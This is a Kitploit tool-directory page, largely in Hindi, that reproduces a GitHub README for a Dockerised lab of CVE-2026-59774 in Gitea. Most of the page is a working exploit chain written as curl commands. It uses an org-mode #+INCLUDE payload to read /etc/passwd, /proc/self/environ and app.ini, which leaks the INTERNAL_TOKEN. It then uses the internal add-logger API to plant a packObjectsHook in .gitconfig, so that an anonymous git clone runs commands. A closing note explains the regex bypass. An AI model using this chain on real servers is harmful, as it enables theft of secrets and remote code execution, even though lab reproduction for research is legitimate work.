Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
उपकरण/GitHubGitHub/flowerwitch/cve-2026-59774_docker
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलैब और अभ्यास
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

रिपॉजिटरी देखें
112 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-59774_docker

1. gitea खींचें

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2. आरंभीकरण

gitea पर जाएँ

http://localhost:3000/install

3. repository बनाएँ

new repository डिफ़ॉल्ट रूप से सार्वजनिक होता है, किसी अन्य कॉन्फ़िगरेशन की आवश्यकता नहीं है

image

4. POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. RCE भाग

  1. सबसे पहले /proc/self/environ में GITEA_CUSTOM फ़ील्ड को पढ़कर gitea डेटा के भंडारण स्थान का पता लगाएं
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. {GITEA_CUSTOM}/conf/app.ini पढ़कर INTERNAL_TOKEN और APP_DATA_PATH फ़ील्ड प्राप्त करें
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. यहाँ मैंने add-logger इंटरफ़ेस पाया, जब इस इंटरफ़ेस का Mode File होता है तो यह स्थानीय फ़ाइल में अपेंड राइट करता है (यदि लक्ष्य मौजूद नहीं है तो संबंधित निर्देशिका बना देता है), साथ ही इसका logger फ़ील्ड router होने पर निष्पादन के दौरान एक लॉग ट्रिगर होता है, आउटपुट प्रभाव default की तुलना में काफ़ी बेहतर है (क्योंकि इसमें लाइन ब्रेक नहीं होता XD)। पूर्वोक्त के माध्यम से किसी भी राइट द्वारा, gitea की .gitconfig में packObjectsHook फ़ील्ड जोड़कर अनाम clone के माध्यम से कमांड निष्पादन ट्रिगर किया जा सकता है।
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. बाद के अनुरोधों द्वारा बाद के कॉन्फ़िगरेशन को दूषित होने से बचाने के लिए लॉग हैंडल को बंद करें, इसके लिए ऊपर दिए गए logger और writer का उपयोग करना होगा
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone कमांड निष्पादन को ट्रिगर करता है
image

उदाहरण

gg1

नोट

go-org 1.9.1 में parseInclude फ़ंक्शन में एक रेगुलर एक्सप्रेशन फ़िल्टर नियम includeFileRegexp शामिल है, केवल मिलान होने पर ही आगे के फ़ंक्शन में प्रवेश किया जा सकता है।

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp मिलान की शर्तें इस प्रकार हैं

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

इसलिए payload "#+INCLUDE: \"/etc/passwd\"\n" सामान्य रूप से मेल नहीं खा सकता, निर्माण को अभिव्यक्ति के अनुरूप होना चाहिए, जैसे:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
टूल डाउनलोड करें